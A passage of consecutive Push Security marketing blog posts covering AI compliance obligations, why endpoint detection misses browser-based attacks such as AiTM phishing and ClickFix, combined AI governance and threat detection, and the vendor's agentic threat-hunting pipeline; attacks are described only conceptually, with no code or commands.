NYDFS penalties accumulate at $2,500 per day per violation, and the regulator has been aggressive: it levied $14 million in fines from companies with inadequate MFA. CISOs sign annual compliance certifications under §500.17 where false certification carries personal liability.

The UK's Data (Use and Access) Act preserves ICO enforcement powers with fines up to £17.5 million or 4% of global turnover, and introduces a new statutory right for individuals to complain directly to controllers about automated decisions, with a 30-day response clock.

Where Push maps to these obligations

The five obligation categories above map to specific Push capabilities, some directly, others as supporting evidence. Push's relevance to AI regulation isn't a new product direction. The same capabilities that security teams already use for shadow SaaS discovery, phishing defense, and identity posture hardening are what compliance teams need to demonstrate AI governance.

AI inventory and shadow AI discovery.

Push identifies every AI app, AI browser extension, and AI OAuth integration in use across the organization, not from network traffic patterns or procurement records, but from actual observed usage in the browser.

AI usage policy enforcement and literacy evidence.

Push's custom app banners deliver contextual policy guidance the moment an employee accesses an AI tool: linking to approved usage policies, data handling guidelines, or approved alternatives. Banners are fully customizable: they can include specific instructions, link to AI policy documents or approved alternatives, and messages from the security team tailored to the tool or user group.

When an employee clicks through or acknowledges the banner, Push generates auditable telemetry, creating a documented, timestamped record that the employee received policy guidance at the exact point of AI interaction (not just in a training session six months prior).

AI data exposure controls.

Push observes what users type, paste, and upload into AI tools, and can apply real-time controls, warning or blocking when sensitive patterns are detected. This is browser-layer DLP scoped to the AI interaction surface: it won't replace a dedicated DLP platform, but it closes the specific gap that most DLP tools miss because they lack visibility into browser-based AI interactions. Push provides the detection and enforcement layer at the point where the data actually leaves the organization.

MFA verification and phishing defense.

Push detects where MFA is missing and identifies the type of MFA in use, directly supporting the push toward phishing-resistant authentication methods.

Push's behavioral phishing detection stops AiTM phishing, credential harvesting, device code phishing, and ClickFix attacks because Push detects malicious behavior in the browser, making it effective against even AI-powered phishing attacks, or those that are delivered over traditionally unmonitored channels such as search engines, social media, or even via phone call.

Attackers are increasingly leveraging AI in their phishing campaigns, creating new and derivative phishing kits, adding new capabilities, and finding ways to increase the speed and scale of their operations. But Push's vantage point in the browser means that regardless of the tooling or infrastructure used, Push intercepts the attack at the point of interaction.

This even applies to AI-powered voice and video faking attacks: since most voice-based attacks still result in a user being directed to interact with a browser payload, Push can still intercept them at the point that the caller is lured to a malicious web page or resource.

Third-party AI risk visibility.

Push maps exactly which AI services employees have accessed and used, connected to other business apps via OAuth, what permissions those integrations hold, and who authorized them. This surfaces the AI providers that procurement never approved but employees adopted anyway, before they become a compliance finding or a breach vector.

The compliance gap is an observability gap

The common failure mode across all five obligation categories is the same: the organization has a policy but can't demonstrate enforcement, because the tooling that would provide evidence operates at the wrong layer. IdP logs show managed authentication but not shadow AI logins. Network tools see traffic to AI domains but not the OAuth consent grants or the data in the clipboard. Annual training records exist but can't prove that an employee received guidance at the point of AI interaction.

Browser-layer telemetry closes each of these gaps because it's where the regulated activity actually happens, and where (with Push) you can observe and control it too.

The regulations covered here are the current landscape, but they aren't the final one. AI governance requirements are accelerating: NIST's AI cybersecurity framework profile is expected this summer, CISA's Five Eyes agentic AI guidance landed in May, and EU member states are still building out their national enforcement regimes.

The five obligation categories we've identified aren't artifacts of any single regulation; they reflect a durable regulatory consensus about what responsible AI governance requires. Building the operational capability to meet them now — continuous AI inventory, demonstrable employee guidance, data exposure controls, phishing-resistant authentication, and third-party risk visibility — means you're prepared for future frameworks.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

Modern EDR makes compromising the OS hard. Process execution, memory behavior, file system changes: all of it under real-time scrutiny from an agent that never sleeps. Getting in through the endpoint is expensive, noisy, and increasingly not worth the effort.

So attackers expanded their focus. 

The browser is the logical target. It's where work happens now. Authentication, data access, application administration, sensitive file handling — all of it inside a browser tab, with no real security instrumentation, no behavioral detection, and no one paying attention. 

The endpoint got Falcon, Defender, Singularity, Cortex, etc. The browser didn't. And the economics made the choice obvious: a PhaaS kit that proxies credentials and steals session tokens costs about $1k a year, a credential list off a dark web marketplace runs $15, and an admin-level account from an initial access broker goes for a few thousand dollars. None of those require getting past an endpoint agent.

We've written before about how Push and endpoint security fit together and how the two layers complement each other. This post goes further into why succeeding at securing the endpoint isn't enough on its own, and why the gap between what EDR sees and what actually happens in the browser is exactly where attackers have built their playbook.

82% of attack detections are now malware-free, according to CrowdStrike's 2026 Global Threat Report, and that's not because attackers got more sophisticated. If anything, the barrier to entry is considerably lower now. It's because they got smarter about where to target their efforts.

What EDR actually sees

Before behavioral detection, defense meant chasing known-bad indicators: a malicious hash was identified, it got blocked, the attacker changed the hash, and the cycle repeated indefinitely. EDR broke that dynamic by running an agent inside the operating system and watching what actually happened on the host — process execution, file system changes, memory behavior, registry modifications.

The Pyramid of Pain explains why this worked. Tools and indicators at the bottom of the pyramid are trivially easy for attackers to rotate, while behavioral TTPs at the top are expensive to change. EDR moved detection up the pyramid, which is why fileless attacks, living-off-the-land techniques, and lateral movement started getting caught. It's also why attackers shifted their focus away from the OS.

All of that visibility ends at the browser boundary. From the EDR agent's perspective, Chrome is a well-behaved process. It opens, connects to the internet, does browser things. The agent can see the process, but it can't see which tab is open, what the page is rendering, what scripts are executing, or whether the login form the user just submitted was real or a convincing cloned page. It doesn't know whether the session token that just got issued is about to leave the organization.

For browser-based attacks, EDR registers nothing unusual, because nothing unusual happened at the OS layer. EDR worked — but the attackers worked around it.

The attack surface has moved beyond the endpoint

Attackers didn't stumble into the browser. They moved there deliberately, and the tooling reflects it.

The numbers tell the story. PhaaS-driven account compromise surged 389% year-over-year according to eSentire. Fake CAPTCHA lures used in ClickFix attacks increased 563% in 2025, according to CrowdStrike, and ClickFix is now the most common initial access vector observed by Microsoft, accounting for 47% of attacks. 

We see it too; in a single 30-day proof-of-value deployment at a financial services organization, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to the existing security stack.

These aren't niche techniques. They're the dominant playbook, and none of them need to touch the endpoint to succeed, or for an attacker to achieve their goals.

AiTM phishing

AiTM phishing kits render a convincing login page inside the browser, proxy the authentication in real time, and lift the session token as it passes through. The user completes what feels like a normal login; the attacker gets a valid session. The OS saw a browser connecting to a website.

Session hijacking

Session hijacking skips authentication entirely by targeting an existing session. By stealing and replaying a token acquired by an infostealer, or a malicious browser extension, they can import the session into their own browser and continue using it — there's no password prompt, no MFA challenge, no re-authentication. The session blends into normal browser activity and generates nothing an endpoint agent was built to catch.

Device code phishing

Device code phishing is harder to spot, because the user authenticates on a legitimate identity provider page. The attacker initiates a device authorization flow and tricks the user into entering a code on the real Microsoft (or Google or GitHub) login page. The IdP issues a valid token. The phishing happened before the authentication page even loaded, and the session token goes straight to the attacker. Push has documented a 37x increase in device code phishing attacks this year, with 12+ unique kits now offering the technique.

ClickFix

ClickFix takes a different approach: the lure tricks the user into copying a malicious payload to their clipboard and running it themselves, framed as a verification step or a fix for a page that won't load. It's social engineering dressed up as a CAPTCHA. Unlike the attacks above, ClickFix is a hybrid — the delivery and lure happen in the browser, but the payload executes on the endpoint. That split is important when we get to how the detection layers divide.

The attacks look different on the surface, but the design principle is the same: stay out of the OS, stay inside the browser, and stay invisible to every tool that's watching the endpoint.

Once access to an app is established via a compromised identity, attackers can also achieve their goals without touching the endpoint. Most of the time, this involves data theft and extortion, but adversaries like ShinyHunters and Scattered Spider are also experts in cloud-based disruption and destruction techniques — with no ransomware binary dropped to user endpoints for an EDR agent to intercept.

The EDR you're using doesn't change the result

The constraint isn't vendor-specific. Every EDR's observation model stops at the OS layer because that's where the agent sits. What happens inside a browser session is outside that model by design. A better EDR doesn't close the gap; a different layer does.

Reputation-based filtering falls short too

Some platforms add URL filtering or domain reputation checks at the browser boundary, and that narrows the surface somewhat. But reputation-based filtering hits the same wall against PhaaS infrastructure engineered to rotate domains before reputation databases catch up. 89% of phishing domains are active for fewer than two days. A reputation engine can't flag infrastructure it hasn't seen, and modern phishing operations are designed around that window.

Some vendors recognize the problem

The market has started to acknowledge this. CrowdStrike's acquisition of Seraphic is a direct signal that endpoint vendors see the browser gap and want to close it, and it validates what we've been building here at Push since day one. That's a good thing for defenders — the more coverage at this layer, the better.

But endpoint vendors see the world through the endpoint. Their platforms, their telemetry models, and their detection logic are all structured around what happens at the OS layer. When they acquire browser capability, it gets pulled into that orbit. Seraphic was built to detect browser exploits by injecting into the browser's JavaScript runtime from the OS. 

Attacks in vs. on the browser: why this distinction matters

In other words, their focus is on attacks on the browser itself, rather than those happening inside the browser session. That's a meaningful capability, but it's a different problem from detecting the identity attacks that dominate the threat landscape today — AiTM phishing, session hijacking, OAuth consent abuse, ClickFix — where the attacker never triggers an exploit and the browser works exactly as designed. We've written in detail aboutwhy that architectural distinction matters for buyers evaluating the category.

Push was built for the browser from the start, for exactly these attacks. The detection engine runs inside the session. The response actions operate at the session layer, blocking phishing pages, intercepting malicious clipboard payloads, and warning on suspicious OAuth consent grants, because that's where the attack is happening. That's not a philosophical matter. It determines what you can catch and how fast you can stop it.

What browser-native detection actually looks like

Network tools and reputation engines see where a user went and whether the destination had a known-bad reputation. What they can't see is what happened on the page once the user got there — whether the login form was real or a proxied clone, whether a session token was issued and where it went next.

Why network-layer detection can't keep up

At the network layer, a brand-new domain hosting a pixel-perfect Microsoft login page is indistinguishable from the real thing. There's no signal to act on — the domain is in good standing, the TLS cert is valid, and the traffic looks normal.

But it's not as simple as looking at the page itself. The phishing pages attackers are building now don't look like the clone-and-paste jobs of a few years ago. Attackers are vibe-coding imitations where the AI has constructed the page from scratch — visually identical to the real login page, but with a completely different underlying structure. They look the same to the user and to any tool doing a surface-level comparison. You need to understand how credential-harvesting mechanics actually work, how authentication relay is structured, and what behavioral fingerprints phishing kits leave behind regardless of how the page was built.

How Push detects what others miss

That's where Push's visibility and expertise intersect. Running inside the browser, Push sees DOM structure, script behavior, how credential forms are constructed, and how authentication is being relayed. Phishing attacks leave consistent behavioral fingerprints at this level regardless of what domain they're hosted on, which kit family they belong to, or whether the page was hand-coded or vibe-coded in minutes. Push catches attacks built on infrastructure that's never appeared on any blocklist, because it isn't looking at the infrastructure. It's looking at what the page is doing.

Where the detection layers divide

ClickFix illustrates how the layers split. Push identifies the page behavior delivering the lure and analyzes the clipboard payload before the user runs it — two detection points, both inside the browser, both before anything reaches the endpoint. EDR's window opens after execution. Push and EDR are watching the same attack from opposite ends of the kill chain.

Keeping pace with AI-accelerated attacks

That detection model has to keep pace with an attack surface that's evolving at machine speed. Attackers are using AI to vibe-code phishing kits, generate convincing cloned pages, and rotate infrastructure faster than any human team can track.

Push matches that pace with an agentic threat hunting pipeline: autonomous agents hunt continuously across browser telemetry from over 3 million browsers worldwide, develop hypotheses, analyze traces, and write detection rules without waiting for human initiation. Push's in-house threat researchers feed the agents the context they need — years of accumulated knowledge about how browser-based attacks actually work. The agents operationalize that expertise at a scale and speed no human team could sustain alone.

Since deploying the pipeline, we've 3x'ed our detection output (but with broad technique-level detections, not just IoC noise). New detections move from discovery to customer protection in minutes rather than the days or weeks a manual process required.

Two layers that fit together

Browser detection and endpoint detection cover different surfaces. Together they close the gap.

Response at the speed of the attack

Push doesn't just detect — the detection comes with response built in. Phishing pages are blocked before credentials are submitted. Malicious clipboard payloads are intercepted before the user can run them. Suspicious OAuth consent grants are flagged or blocked in real time, before the authorization completes. These aren't after-the-fact alerts that require an analyst to act; they're inline controls that operate at the speed of the attack.

For purely browser-based attacks like AiTM phishing, device code phishing, and OAuth consent abuse, Push is both the detection and the response layer. For ClickFix, the coverage divides: Push catches the delivery and the clipboard payload, and if the user runs it and something lands on the OS, EDR picks up what happens next.

The telemetry bridge

The integration with endpoint tooling is straightforward. Push feeds browser telemetry into the same SIEM and XDR workflows endpoint data already flows into.

EDR tells you what happened on the host. Push tells you what happened in the session before the host was involved — which login page loaded, how it behaved, whether a session token left the organization. That's the causal link most investigation timelines are missing: the bridge between "a user visited a URL" and "credentials were submitted to a phishing page that proxied authentication and captured the session token."

Without browser-layer telemetry, that chain of events is invisible — the EDR sees normal endpoint processes and the SIEM sees a successful login. An alert from either layer is more useful with context from the other, and the range of problems you can solve from inside the browser extends well beyond threat detection.

Deployment without disruption

Operationally, adding the browser layer doesn't mean adding complexity. Push deploys as a browser extension — no network changes, no TLS inspection, no browser replacement, and no impact on page load times or browsing performance.

Unlike approaches that route traffic through a proxy or render pages remotely, Push operates natively inside the browser session, which means there's no latency penalty and no disruption to how employees work.

Push has been deployed to 100,000 users in under an hour during normal business hours with zero downtime, and it sits alongside whatever endpoint and network tooling is already in place.

A quick check on your coverage

If you're running EDR and assume the browser is covered, these are worth thinking through.

• Can you identify which browser extensions across your fleet have the permissions needed for account takeover?

• Would anything stop a ClickFix payload before your user ran it?

• Do you have visibility into every account your employees have created outside of SSO, and whether those accounts are protected by MFA or using weak, breached, or reused passwords?

• When a session token gets stolen, do you have any signal when the attacker starts using it?

Push surfaces answers to all of them — across every browser session.

Defenders secured the endpoint. Attackers took note, and they've had the browser to themselves ever since. The attacker tooling that followed was built for an environment where the endpoint is watched and the session layer isn't. That's been a reasonable assumption for the better part of a decade. Endpoint vendors are starting to move toward the browser, but there's a case for purpose-built browser security rather than bolted-on features from platforms designed for a different layer. The endpoint is covered. The browser is where the work is now.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Book a live demo to learn more.

Many security leaders are rightly worried about two big problems in the age of AI: AI-enabled attacks targeting their employees via the browser; and employees introducing the risk of data loss through their use of AI tools.

For security teams researching browser-based solutions to these challenges, the decision at first looks like a fork in the road: Choose a solution that's purpose-built to detect and respond to modern browser-based attacks like AI-enabled phish kits, ClickFix and other *Fix-style attacks, malicious browser extensions, device code phishing, and others; or select an AI governance tool to enforce sensible policies for sensitive data in the browser.

Push solves both of these problems. One platform, one SKU.

In this article, we'll take a look at the two big AI security and data governance problems that security teams are facing and outline how Push solves them in a single solution. We’ll cover what questions to ask as you evaluate browser security solutions, and describe Push's focus on providing foundational telemetry, detections, and controls that allow you to answer the question “What actually happened here?” not just “What policy was violated?”

The AI risks every security team is now responsible for

AI is an amplifier, for adversaries and for your employees. Whatever they could do before, they can now do faster, more powerfully, and at scale.

The two risks that every security team now must manage: 

• AI is making browser-based attacks faster, cheaper, and harder to detect.

• Employee AI adoption is creating data exposure faster than security teams can respond.

Both of these challenges intersect in the same place: The browser. It's the place where adversaries target employees with modern attacks designed to accomplish account takeover and data exfiltration. It's also the place where workers discover and use new AI-enabled apps and introduce risk into the business in the form of data loss, shadow apps, risky browser extensions, and shadow integrations.

To address both problems, security teams need visibility and control in the browser.

How AI is transforming attacks

On the adversary side of the equation, adversaries are using AI tooling to rapidly iterate on new attack types or new iterations of existing browser-based TTPs that target employees to achieve account or endpoint compromise — usually with the end goal of harvesting valuable corporate identities in order to exfiltrate data or hold it for ransom.

Learn how AI-enabled attacks are making infrastructure-based detection increasingly ineffective in our update on the Pyramid of Pain concept for 2026.

AI is changing attacks in three key ways.

AI has supercharged the iteration and evolution of adversary tools and techniques

Attackers are using the same AI capabilities as any other engineer who wants to multiply their output. That translates to an array of new attack techniques: multiple increasingly sophisticated variations of the ClickFix-style attacks that use social engineering techniques to get users to unknowingly install malware via malicious scripts; as well as creative exploitation of device codes, a legitimate authentication mechanism, that allows attackers to phish access post-authentication.

Device code phishing in particular demonstrates the rapid growth of new techniques, with early documented appearances of the TTP occurring in 2024, and by early the next year, the method had been packaged as a PhaaS offering with GPT-enhanced spear-phishing and customized landing pages. The campaign targeted more than 340 organizations across five countries in March 2026, using personalized AI-generated lures at a scale that would have been impractical to produce manually.

Nearly every phishing toolkit that Push encounters in the wild today displays the fingerprints of AI use. Check out our recent analysis of Doko's Panel, a real-time vishing and AiTM kit, for a under-the-hood look at this.

Infrastructure-based detections are increasingly degraded by AI-enabled approaches

AI has also collapsed the cost and time it takes to build convincing phishing infrastructure: Attackers can vibecode a convincing phishing page in minutes, burn the domain, and regenerate another one before any blocklist updates. 

According to Spamhaus, 89% of phishing domains are active for fewer than two days, with just 6.5% surviving past 15 days. That means that if you're primarily looking at static indicators, you're already behind. IOC-based detections can't keep up with how quickly attackers can rotate infrastructure.

The impact on IOC-based detections that rely on infrastructure elements is severe: When elements constantly change, every phishing attack is essentially a zero-day. Complicating the picture further is the increasing use of legitimate cloud platforms like Railway, Cloudflare Workers, and Vercel, which attackers use to host and dynamically rotate attack infrastructure.

AI is making it easier to build and run omni-channel campaigns

Push researchers have written extensively over the last year about malvertising campaigns that serve malicious pages to users via search engine results, enticing them to visit sites designed to steal credentials or deliver malware. 

We've tracked sustained campaigns impersonating Onfido, TradingView, Ahrefs, Semrush, and others. These campaigns are part of a self-reinforcing criminal ecosystem: Malvertising campaigns paid for by stolen ad accounts, with credential theft that funds the next round of credential theft. And the recent LLMShare campaign identified by Push shows how attackers are combining their abuse of AI tools of AI-assisted phishing page creation with malvertising, helping them to spin up lookalike pages quickly and cheaply to serve as convincing lures.

These are just a few examples of how phishing has moved beyond the inbox, targeting users through malvertising, SEO poisoning, and social media DMs. Over the last year, Push researchers found that 1 in 3 payloads intercepted by the platform were sent outside of email.

How AI is creating risky employee behaviors 

Meanwhile, on the employee side of the equation, there are three other key concerns that security teams should be paying attention to when it comes to the risks associated with AI use.

Data leaving the business via shadow AI and AI extensions

Employees are signing up to AI tools directly, beyond the bounds of procurement or security review. That means security teams can't see sensitive data going into LLMs — clipboard pastes of API keys, file uploads to coding assistants, customer data in uploaded spreadsheets, etc.

Most teams also don't have visibility of AI browser extensions, another avenue for data to leave the business. Extensions are also an attack surface in their own right, as previously benign extensions can be compromised by threat actors through account takeover of the extension developer.

Employees using personal accounts on corporate AI app tenants 

The 2026 Verizon DBIR found that 67% of GenAI users on corporate devices are using non-corporate accounts, and our own data shows that 38% of file uploads to AI tools are made from shadow accounts rather than approved organizational ones.

That means a large number of employees in most organizations are using AI apps with personal accounts, outside of organizational data governance, retention policies, access controls, or basic security oversight. 

The compounding risk is that personal accounts are typically protected by weaker passwords, inconsistent MFA, and credential reuse from other personal services — meaning a compromise of the personal account could give an attacker access to corporate data and tools.

Shadow integrations between AI tools and corporate systems

App-to-app connections accomplished through OAuth are also proliferating faster than most teams can observe and review them. For the average organization, Push sees 17 unique AI app OAuth integrations connected just to Microsoft and Google corporate tenants.

The recent Vercel breach illustrates the risks of even a single OAuth connection from a compromised third-party AI SaaS provider. This isn't really a new AI threat so much as a shadow SaaS problem that's accelerating alongside AI adoption, given that AI apps are specifically designed to pull data from one system, analyze it in another, and present it in a third — with MCP connections now creating the same kind of persistent, permissioned access through an authentication protocol (OAuth) that most organizations have no process to review.

The Vercel breach isn't an isolated incident. ShinyHunters demonstrated the breadth and scale of OAuth-targeted attacks last year, impacting more than 1,000 organizations in targeted campaigns against Salesloft/Drift. Adversaries compromised Salesloft’s GitHub environment, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight.

This is the same web of OAuth-connected apps that is being exposed at scale through AI tool integrations. For many organizations, AI tools are now the hub of modern activity that orchestrates and automates across the mesh of cloud apps, which adds a useful perspective on what's changed.

A word on prompt injection: Prompt injection is a serious and structurally difficult to solve problem, and one AI researchers and the security industry are still working out how to defend against. 

High-impact attacks of this kind are still rare in the wild, but the building blocks are all demonstrated and the attack surface is growing as agentic browsers and in-app AI features proliferate. The threat is evolving quickly and detections are still limited, so it pays to start with the controls that hold up regardless of how attacks evolve. 

This starts with knowing which AI browsers, extensions, and assistants employees are using, which SaaS apps have AI features enabled, and what OAuth scopes those AIs have been granted. The blast radius of any successful prompt injection is exactly the data and actions those grants permit, so visibility into AI tooling and AI-connected identity is the foundation that any further defense builds on.

What to ask when evaluating browser-based AI visibility and control solutions

When you're evaluating AI visibility and control platforms that operate in the browser, there are two lines of questioning that can be useful to unpack.

The first is the tactical basics: What use cases does the product cover, and how quickly will you see value? In this category, you'll likely be looking for:

• Depth of visibility: Can the solution observe both corporate and personal account usage of AI apps? Does the solution work with all major browsers, including emerging AI browsers? Does the solution automatically classify AI apps and automatically discover shadow AI?

• Granularity of controls: Does the solution support visibility and control over clipboard interactions, allowing you to identify sensitive data strings like personal access tokens (PATs) or API keys? Does the solution allow you to set multiple enforcement modes (monitor, warn, block) and carve out exceptions for tools, teams and individuals where necessary? 

• Ease of deployment: How is the solution deployed? Browser extension-based solutions like Push can be deployed at scale in an hour. Solutions that require an endpoint agent or a complete browser replacement will be a heavier lift.

• Scope of coverage: Does the solution only enforce policy around AI usage, or does it also prevent AI-enabled attacks in the browser? 

The second set of questions is more about the underlying architectural choices a product has made, and how those translate into actionable intelligence for security teams — or where there may be blind spots. In this category, you will want to ask:

Does the tool capture AI interactions that didn’t trigger a policy violation — or only the ones it blocked?

This is the most useful diagnostic if you're focused on understanding the wider security meaning and impact of an AI interaction, not just whether it violated a policy. 

Enforcement-first tools record what they stopped: blocked uploads, attempted usage of unapproved apps, flagged file names, etc. 

That's useful for compliance reporting but incomplete for security investigation, because the most significant events are often the ones that looked normal at the time: A user whose behavior shifted gradually over weeks before a resignation. An approved AI browser extension that updates its permissions, putting it in risky territory. An OAuth consent grant that was technically permitted but shouldn't have been.

Ask whether the tool can collect user behavior telemetry, file upload and download activity, and AI usage logs for permitted events — not just policy violations — and whether that telemetry can be forwarded to your SIEM. 

One approach gives you an investigation tool. The other gives you compliance alerts without deeper context.

When an AI agent requests OAuth permissions to access your organization's data, does the tool capture the consent flow — what scopes were requested on which app, which user initiated the consent, and what was the outcome?

Most enforcement-first tools treat OAuth as a binary: approved app or blocked app. That was a reasonable model when OAuth grants were primarily app-to-app integrations managed by IT. It isn't sufficient for agentic AI.

AI agents request OAuth permissions to access organizational data on behalf of users. These are user-initiated consent grants that happen inside browser sessions, often with broad scopes, and frequently without security team awareness. The right tool needs to capture the consent event itself: what permissions were requested, what scopes were granted, who approved them, and what application received them. 

Ask whether the tool monitors OAuth consent flows across authorization servers, whether it can warn or block consent grants in real time based on policy, and whether that coverage extends to AI-enabled apps and MCP connections.

When a new browser attack technique emerges that no tool has a signature for, how long does it take the platform to detect it — and can you show a specific example?

Attackers are rotating infrastructure in hours and using AI to generate new lures and phishing pages at scale. A detection model built on blocklists, reputation feeds, and known-bad indicators is architecturally behind any novel technique because by the time the indicator appears on a feed, the attacker has already moved on.

Ask vendors to show you a specific detection that fired on a novel technique before the infrastructure appeared on any threat feed.

What browser telemetry reaches your SIEM — just alerts, or the underlying session data that makes those alerts investigable?

Ask to see a sample SIEM event from a real detection. Many browser security tools integrate with SIEMs, but the depth of what they forward varies a lot. 

Some send alert metadata that captures policy violations, timestamps, and involved users. Others forward a broader set of telemetry for deeper context — credential reuse, app logins, newly installed extensions, detected phishing kits, file uploads, clipboard activity, OAuth consent flows, file downloads, etc. 

The difference determines whether your SOC team can easily correlate signals from the browser-based tool with other layers of their stack and begin an investigation from the SIEM event itself — or whether they need to pivot back into the vendor's console for the actual evidence.

AI visibility and control is a feature of the right browser security platform, not a separate purchase

Ultimately, the choice of browser platform for solving the two big problems of the AI era comes down to whether you need broader attack coverage and telemetry context in order to secure your organization, or whether a policy-based approach is enough. 

Push treats the challenges of stopping AI-enabled attacks and providing visibility and control over AI usage as features that extend naturally from the platform's underlying architectural model: Rich browser-layer telemetry in a single tool that helps security teams answer the question “What actually happened here?” not just “What policy was violated?”

This unified architecture matters because the AI control problem and the browser threat detection problem share a root cause: Security-relevant activity is happening inside browser sessions that most tools can't see. 

A standalone AI governance tool can tell you which AI apps are in use and whether employees violated a usage policy. It can't tell you whether the OAuth grant an AI agent just received was part of a broader pattern that includes credential entry on an unfamiliar domain, a clipboard paste from an internal document, and a login to a shadow SaaS app — all in the same session, all visible in the same telemetry stream. 

Separating AI governance from browser security means maintaining two tools that each only see half the picture. 

How Push can help

• Block emerging browser-based attack techniques, including AI-enabled phishing and quickly evolving *Fix-style attacks.

• Benefit from Push's agentic detection pipeline, which continuously hunts across customer environments to identify emerging threats and ship new detections.

• Stream telemetry to your SIEM for a wide variety of events, including attack detections; newly installed browser extensions or newly adopted apps; updates to extension permissions; file uploads and downloads; clipboard pastes; app logins; credential reuse; OAuth consents; and more.

• Block file uploads and downloads.

• Block clipboard pastes of sensitive data, with regex-based patterns you can define.

• Monitor for or block unauthorized MCP connections.

• Write your own custom YAML rules targeting specific elements of the page DOM, web requests and responses, HTTP headers such as cookies, and a lot more.

If you'd like to learn more about Push, book a live demo.

The commercial models are right there. You’ve probably got a spare weekend coming up, a really nice espresso machine, and a few bucks for tokens. (Is there already an HGTV series on this?)

We recently published a detailed look at how we use AI agents as a force multiplier for Push’s threat hunting and detection engineering capabilities.One intriguing detail you might have noticed in that article is that at Push, we treat commercial AI models as commoditized infrastructure, akin to cloud computing.

So it’s a cheeky question, but a fair one, because if Push is using commercial models, what exactly are you paying for?

It turns out that the models are the easiest things to replace, and in fact we swap out different models with little impact on detection performance. What’s much harder to build is the expertise: the technical knowledge of various attack techniques, the instrumentation in the browser that produces the structured telemetry, and the enforcement layer that turns detections into real-time protection.

Let’s break it down.

The promise and the perils of threat hunting (and where agentic capabilities fit in)

Threat hunting — the practice of proactively searching for threats that haven’t been seen before — is one of the most effective practices in security and one of the least accessible.

The SANS 2025 Threat Hunting Survey found that 61% of organizations cite staffing shortages as the top barrier to running a hunting program. A single manual hunt takes 10 to 20 hours of sustained analyst focus — forming hypotheses about what an attacker might be doing, querying data sources sequentially, correlating results by hand, documenting findings. Many organizations hunt infrequently or not at all.

Threat hunting in the browser poses specific challenges: The stakes are high as AI-enabled attacks accelerate, and the availability of training and knowledge is low. 

AiTM phishing kits that manipulate DOM elements in real time, ClickFix variants that inject malicious payloads through clipboard manipulation, ConsentFix attacks that abuse OAuth consent flows, credential harvesting on pages that rotate infrastructure hourly — these techniques don't map cleanly onto the endpoint-focused threat models most SOC teams were built around, or the data sources they’re used to interrogating. 

Even well-staffed security organizations tend to have a blind spot in the browser layer because the expertise required to hunt there is specialized and the telemetry to support it hasn't historically been available.

Using AI agents to hunt for browser-based threats promises a net-new capability for smaller teams without dedicated threat hunting staff. For larger enterprises, the value of an agentic threat hunting capability lies in its ability to provide (or augment) expertise on emerging attack methods.

Most SOC teams have deep expertise at the endpoint, IdP, cloud, and network layers, built over years of working with those systems’ telemetry and workflows. But browser-based attacks operate in a different domain with different telemetry, different TTPs, and a different evasion model.

A capability like Push’s provides an answer to these three hurdles: providing expertise, without any additional burden on staff, and at a speed that matches the acceleration we’re currently witnessing in browser-based attack techniques.

This isn’t chatbot log analysis

When you hear “AI-powered threat hunting,” you might imagine an AI copilot sitting on top of your SIEM, summarizing alerts and correlating log entries faster than a human analyst could. It’s a fair assumption because many products use this kind of implementation, and tools like those are useful.

That’s not what we built at Push.

If you’re not familiar with Push, it’s a browser security platform deployed as an extension that detects and stops advanced browser-based attacks while also providing visibility and control over shadow apps and identities, including AI usage. You can use the same telemetry Push provides for these use cases to perform data loss and insider risk investigations, too.

What we built is an agentic threat hunting and detection pipeline where AI agents collaborate with in-house threat researchers to continuously hunt for emerging browser-based attack techniques across our customer base, and then automatically write and deploy new detections.

Our pipeline differs from AI-enabled log analysis in three key ways:

A new telemetry source is the foundation

First, the Push platform generates its own telemetry. The Push browser extension operates as a flight recorder, locally collecting browser session metadata that doesn’t exist anywhere else in the security stack — details like DOM structure, script execution contexts, redirect chains, credential entry behavior, OAuth consent flows, and network requests observed from inside the session. 

This metadata is stored locally and only queried during targeted threat hunts, preserving user and customer privacy.

Proactive hunting, not just reactive triage

The pipeline also hunts proactively rather than triaging reactively, as with log analysis agents.

Push agents generate hypotheses, craft queries against the telemetry corpus, run them across millions of browsers, and triage the results — searching for techniques that haven't triggered any existing alert or rule. 

The InstallFix discovery described in the original agentic threat hunting article is the clearest example: The Push pipeline surfaced 12 meaningful results from trillions of browser events, and one of them was a novel attack technique. That's threat hunting at machine scale, not just alert triage.

Not just analysis, but new detections, too

Finally, the output isn’t (only) a natural-language summary of what the agents found. It’s a production detection rule that ships to every Push customer and wires into real-time enforcement controls defined by Push admins. 

The pipeline's job isn’t to help you understand an alert faster. Rather, it’s producing detection rules that didn't exist before at a speed that enables those detections to address emerging attack techniques and organization-specific campaigns within minutes.

Agentic threat hunting as core product infrastructure

The nice thing about commercially available AI models is that they’re really good at understanding web code. That arcane Javascript function you’d have to look up in the docs? They recognize it immediately. That makes them perfectly suited to provide domain knowledge that can be harnessed with the right security expertise.

Using commercial models in our agentic detection pipeline then becomes a force multiplier for our research team’s understanding of TTPs — not a security engine in and of itself.

The four core components of our agentic pipeline can’t be replaced by using the same models we do, because the value is not in the models, but in the product infrastructure, product telemetry, and research expertise those models capitalize on.

Component 1: The flight recorder

We deploy as a browser extension — not a separate browser, a proxy or an endpoint agent — which means we sit inside the browser session itself, seeing what the user sees. 

A component of the extension acts as a flight recorder, collecting and locally storing browser-level metadata: DOM elements, tab context, script execution, network traffic, user actions, credential entry, and more. This body of structured browser event metadata is the searchable landscape for every hunt.

That's a data source most security teams have never had access to. You can't get it from an endpoint agent, a network proxy, or a cloud access log, because it doesn't exist outside the browser session. Turns out, it matters more than the model itself: When the model has this full browser context — the DOM, redirect chains, user behavior — it can reason about what happened. When it has to start guessing at those details, it starts hallucinating.

The Push extension, the telemetry it collects, and the scale (3 million browsers and counting) at which it operates is the underlying capability that makes our agentic threat hunting possible.

Component 2: The internal knowledge base

